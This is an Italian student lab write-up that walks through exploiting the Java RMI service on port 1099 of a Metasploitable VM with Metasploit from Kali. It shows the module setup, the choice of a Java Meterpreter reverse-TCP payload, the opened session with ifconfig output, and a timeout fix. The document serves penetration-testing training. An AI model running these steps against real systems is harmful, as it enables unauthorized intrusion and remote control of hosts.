

## Descrizione del progetto

L'esercitazione odierna ha avuto come obiettivo l'analisi e l'approfondimento di una vulnerabilità presente sulla porta **1099**, associata al servizio **Java RMI** sulla macchina **Metasploitable**. L'esercizio consisteva nello sfruttamento di tale vulnerabilità utilizzando **Metasploit** al fine di ottenere una sessione **Meterpreter** sulla macchina remota, consentendo così l'esecuzione di operazioni di post-exploitation.

### Requisiti dell'esercizio:

- La macchina attaccante (**Kali Linux**) deve essere configurata con l'indirizzo IP: **192.168.77.111**.
- La macchina vittima (**Metasploitable**) deve essere configurata con l'indirizzo IP: **192.168.77.112**.
- Una volta stabilita con successo una sessione remota **Meterpreter**, lo studente è tenuto a raccogliere le seguenti informazioni dalla macchina compromessa:
  1. La configurazione di rete della macchina vittima.
  2. I dettagli relativi alla tabella di routing della macchina compromessa.

### Di seguito la procedura per il corretto completamento del progetto:

#### 1. Preparazione delle macchine:

- Assicurarsi che la macchina **Kali Linux** sia configurata correttamente con l'indirizzo IP **192.168.77.111**.
- Verificare che la macchina **Metasploitable** sia configurata con l'indirizzo IP **192.168.77.112**.
- Controllare che entrambe le macchine siano sulla stessa rete locale e in grado di comunicare tra loro utilizzando il comando ping.

```
collisions:0 txqueuelen:0
RX bytes:184477 (180.1 KB) TX bytes:184477 (180.1 KB)

msfadmin@metasploitable:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen
  link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
  inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host
      valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
  link/ether ea:44:9c:94:c2:2c brd ff:ff:ff:ff:ff:ff
  inet 192.168.77.112/24 brd 192.168.77.255 scope global eth0
    inet6 fe80::ea44:9cff:fe94:c22c/64 scope link
      valid_lft 2591952sec preferred_lft 604752sec
  inet6 fe80::e844:9cff:fe94:c22c/64 scope link
      valid_lft forever preferred_lft forever
msfadmin@metasploitable:~$ ping 192.168.77.111
PING 192.168.77.111 (192.168.77.111) 56(84) bytes of data.
64 bytes from 192.168.77.111: icmp_seq=1 ttl=64 time=0.614 ms
64 bytes from 192.168.77.111: icmp_seq=2 ttl=64 time=0.653 ms
--- 192.168.77.111 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 999ms
rtt min/avg/max/mdev = 0.614/0.633/0.653/0.031 ms
msfadmin@metasploitable:~$
```

```
(kali㉿kali)-[~]
$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen
  link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
  inet 127.0.0.1/8 scope host lo
    valid_lft forever preferred_lft forever
  inet6 ::1/128 scope host
    valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default
  link/ether a2:c2:70:4d:ff:ff brd ff:ff:ff:ff:ff:ff
  inet 192.168.77.111/24 brd 192.168.77.255 scope global eth0
    valid_lft forever preferred_lft forever
  inet6 fdf4:e414:ef6f:2dd0:dabc:478c:6b5a:54b3/64 scope global temporary dynamic
    valid_lft 599600sec preferred_lft 80754sec
  inet6 fdf4:e414:ef6f:85d7:a9b3:1a93/64 scope global dynamic mngtmpaddr no
    valid_lft 2591875sec preferred_lft 604675sec
  inet6 fe80::c9b9:78cf:f35b:a9e6/64 scope link no
    valid_lft forever preferred_lft forever
(kali㉿kali)-[~]
$ ping 192.168.77.112
PING 192.168.77.112 (192.168.77.112) 56(84) bytes of data.
64 bytes from 192.168.77.112: icmp_seq=1 ttl=64 time=0.831 ms
64 bytes from 192.168.77.112: icmp_seq=2 ttl=64 time=0.714 ms
^C
--- 192.168.77.112 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1026ms
rtt min/avg/max/mdev = 0.714/0.772/0.831/0.058 ms
```

## 2. Avvio di Metasploit:

- Lanciare **Metasploit** sulla macchina **Kali Linux** con il comando:

```

└$ msfconsole
Metasploit tip: Use the 'capture' plugin to start multiple
authentication-capturing and poisoning services

# cowsay++
< metasploit >
_____
 \  'oo'
  (____) \
   ||----| *
Home
      =[ metasploit v6.4.44-dev           ]
+ -- --=[ 2487 exploits - 1281 auxiliary - 431 post      ]
+ -- --=[ 1466 payloads - 49 encoders - 13 nops        ]
+ -- --=[ 9 evasion                         ]

Metasploit Documentation: https://docs.metasploit.com/

```

- Una volta avviato **Metasploit**, cercare il modulo di exploit per la vulnerabilità Java RMI sulla porta 1099. Utilizzare il comando di ricerca:

```

msf6 > search java_rmi
Matching Modules
=====
#  Name
-
0  auxiliary/gather/java_rmi_registry
1  exploit/multi/misc/java_rmi_server
2    \_ target: Generic (Java Payload)
3    \_ target: Windows x86 (Native Payload)
4    \_ target: Linux x86 (Native Payload)
5    \_ target: Mac OS X PPC (Native Payload)
6    \_ target: Mac OS X x86 (Native Payload)
7  auxiliary/scanner/misc/java_rmi_server
8  exploit/multi/browser/java_rmi_connection_impl

          Disclosure Date  Rank  Check
-----+-----+-----+-----+
          .              normal No
1  2011-10-15  excellent Yes
          .              .
          .              .
          .              .
          .              .
          .              .
          .              .
          .              .
          .              .
          2011-10-15  normal No
          2010-03-31  excellent No

Interact with a module by name or index. For example info 8, use 8 or use exploit/multi/
msf6 > 1
[-] Unknown command: 1. Run the help command for more details.
msf6 > use 1
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > []

```

- Tra i risultati, selezionare il modulo exploit/multi/misc/java\_rmi\_server, nel mio caso è il numero 1, che sfrutta la vulnerabilità del servizio **Java RMI**

- Prima di configurare il payload, è utile visualizzare le opzioni disponibili per il modulo di exploit.

Utilizzare il comando `show options`; Questo comando mostrerà tutte le opzioni che è possibile configurare per l'exploit, come le porte di ascolto e gli indirizzi IP, come mostra l'immagine sottostante.

```

Module options (exploit/multi/misc/java_rmi_server):
Name      Current Setting  Required  Description
HTTPDELAY  10             yes       Time that the HTTP Server will wait for the payload request
RHOSTS    192.168.77.112   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     1099            yes       The target port (TCP)
SRVHOST   0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT   8080            yes       The local port to listen on.
SSL       false            no        Negotiate SSL for incoming connections
SSLCert   /etc/pki/tls/certs/msf.pem  no        Path to a custom SSL certificate (default is randomly generated)
URIPATH   /                no        The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):
Name      Current Setting  Required  Description
LHOST    127.0.0.1         yes       The listen address (an interface may be specified)
LPORT    4444            yes       The listen port

Exploit target:
Id  Name
--  --
0   Generic (Java Payload)

View the full module info with the info, or info -d command.

```

Dopo aver visualizzato le opzioni, è necessario configurare correttamente i parametri:

- **RHOST** (Remote Host): l'indirizzo IP della macchina vittima **Metasploitable**:
- **LHOST** (Local Host): l'indirizzo IP della macchina attaccante **Kali Linux**:

```

msf6 exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.77.112
RHOSTS => 192.168.77.112
msf6 exploit(multi/misc/java_rmi_server) > set LHOST 192.168.77.111
LHOST => 192.168.77.111

```

Utilizzare il comando `show payloads`,

per visualizzare tutti i payload disponibili e scegliere quello desiderato.

```

msf6 exploit(multi/misc/java_rmi_server) > show payloads
Compatible Payloads
=====
#  Name                               Disclosure Date  Rank  Check  Descr
-  -
0  payload/cmd/unix/bind_aws_instance_connect .           normal  No    Unix
1  payload/generic/custom             .           normal  No    Custo
2  payload/generic/shell_bind_aws_ssm .           normal  No    Commu
3  payload/generic/shell_bind_tcp    .           normal  No    Gener
4  payload/generic/shell_reverse_tcp .           normal  No    Gener
5  payload/generic/ssh/interact     .           normal  No    Inter
6  payload/java/jsp_shell_bind_tcp .           normal  No    Java
7  payload/java/jsp_shell_reverse_tcp .           normal  No    Java
8  payload/java/meterpreter/bind_tcp .           normal  No    Java
9  payload/java/meterpreter/reverse_http .          normal  No    Java
10 payload/java/meterpreter/reverse_https .          normal  No    Java
11 payload/java/meterpreter/reverse_tcp .           normal  No    Java
12 payload/java/shell/bind_tcp     .           normal  No    Commu
13 payload/java/shell/reverse_tcp  .           normal  No    Commu
14 payload/java/shell_reverse_tcp .           normal  No    Java
15 payload/multi/meterpreter/reverse_http .          normal  No    Archi
Architectures)
16 payload/multi/meterpreter/reverse_https .          normal  No    Archi
e Architectures)

msf6 exploit(multi/misc/java_rmi_server) > []

```

A questo punto, scrivere l'opzione correlata al payload java/meterpreter/reverse\_tcp.

```
msf6 exploit(multi/misc/java_rmi_server) > set payload 11  
payload => java/meterpreter/reverse_tcp
```

Dopo aver configurato correttamente il payload e le sue opzioni,  
puoi eseguire l'exploit con il comando:

```
msf6 exploit(multi/misc/java_rmi_server) > exploit  
[*] Started reverse TCP handler on 192.168.77.111:4444  
[*] 192.168.77.112:1099 - Using URL: http://192.168.77.111:8080/LoKUJHukJ7  
[*] 192.168.77.112:1099 - Server started.  
[*] 192.168.77.112:1099 - Sending RMI Header ...  
[*] 192.168.77.112:1099 - Sending RMI Call ...  
[*] 192.168.77.112:1099 - Replied to request for payload JAR  
[*] Sending stage (58073 bytes) to 192.168.77.112  
[*] Sending stage (58073 bytes) to 192.168.77.112  
[*] Meterpreter session 2 opened (192.168.77.111:4444 → 192.168.77.112:58104) at 2025-01-24 11:45:43 +0000  
  
meterpreter > [*] Meterpreter session 1 opened (192.168.77.111:4444 → 192.168.77.112:4333)  
shell  
Process 1 created.  
Channel 1 created.  
ifconfig  
eth0      Link encap:Ethernet HWaddr ea:44:9c:94:c2:2c  
          inet addr:192.168.77.112 Bcast:192.168.77.255 Mask:255.255.255.0  
          inet6 addr: fdff4:e414:feff6:2ddb:e844:9cff:fe94:c22c/64 Scope:Global  
          inet6 addr: fe80::e414:9cff:fe94:c22c/64 Scope:Link  
          UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1  
          RX packets:790 errors:0 dropped:0 overruns:0 frame:0  
          TX packets:709 errors:0 dropped:0 overruns:0 carrier:0  
          collisions:0 txqueuelen:1000  
          RX bytes:485662 (474.2 KB) TX bytes:92789 (90.6 KB)  
          Base address:0xc000 Memory:febc0000-febe0000  
  
lo      Link encap:Local Loopback  
          inet addr:127.0.0.1 Mask:255.0.0.0  
          inet6 addr: ::1/128 Scope:Host  
          UP LOOPBACK RUNNING MTU:16436 Metric:1  
          RX packets:521 errors:0 dropped:0 overruns:0 frame:0  
          TX packets:521 errors:0 dropped:0 overruns:0 carrier:0  
          collisions:0 txqueuelen:0  
          RX bytes:229813 (224.4 KB) TX bytes:229813 (224.4 KB)
```

Nell'immagine precedente, possiamo osservare che, una volta ottenuta la sessione Meterpreter, sono state raccolte le seguenti informazioni dalla macchina compromessa.

In particolare, utilizzando il comando ifconfig, è stato possibile ottenere dettagli sulla configurazione di rete della macchina attaccata, come l'indirizzo IP e le interfacce di rete attive.

Nel caso in cui l'attacco non vada a buon fine, verificare la configurazione della porta.

In particolare, se la porta HTTP Delay non è configurata correttamente,  
modificare il valore di Delay da 10 a 20.

Successivamente,

ripetere l'attacco eseguendo nuovamente i comandi mostrati nell'immagine di seguito:

```
File Azioni Modifica Visualizza Aiuto
[*] Started reverse TCP handler on 192.168.77.111:4444
[*] 192.168.77.112:1099 - Using URL: http://192.168.77.111:8080/G74bBi
[*] 192.168.77.112:1099 - Server started.
[-] 192.168.77.112:1099 - Exploit failed: RuntimeError Timeout HTTPDELAY expired and the HTTP Server didn't get a response
[*] 192.168.77.112:1099 - Server stopped.
[*] Exploit completed, but no session was created.
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):

Name      Current Setting  Required  Description
HTTPDELAY    10            yes        Time that the HTTP Server will wait for the payload request
RHOSTS      192.168.77.112  yes        The target host(s), see https://docs.metasploit.com/docs/using-metasploit-with-a-single-target
RPORT       1099          yes        The target port (TCP)
SRVHOST     0.0.0.0        yes        The local host or network interface to listen on. This must be an address known to the kernel and available
SRVPORT     8080          yes        The local port to listen on.
SSL         false          no         Negotiate SSL for incoming connections
SSLCert      ''            no         Path to a custom SSL certificate (default is randomly generated)
URI PATH    ''            no         The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

Name      Current Setting  Required  Description
LHOST      192.168.77.111  yes        The listen address (an interface may be specified)
LPORT      4444          yes        The listen port

Exploit target:

Id  Name
--  --
0   Generic (Java Payload)

View the full module info with the info, or info -d command.
msf6 exploit(multi/misc/java_rmi_server) > set HTTPDELAY 20
```

Una volta modificata la porta, eseguire nuovamente l'attacco utilizzando il comando exploit.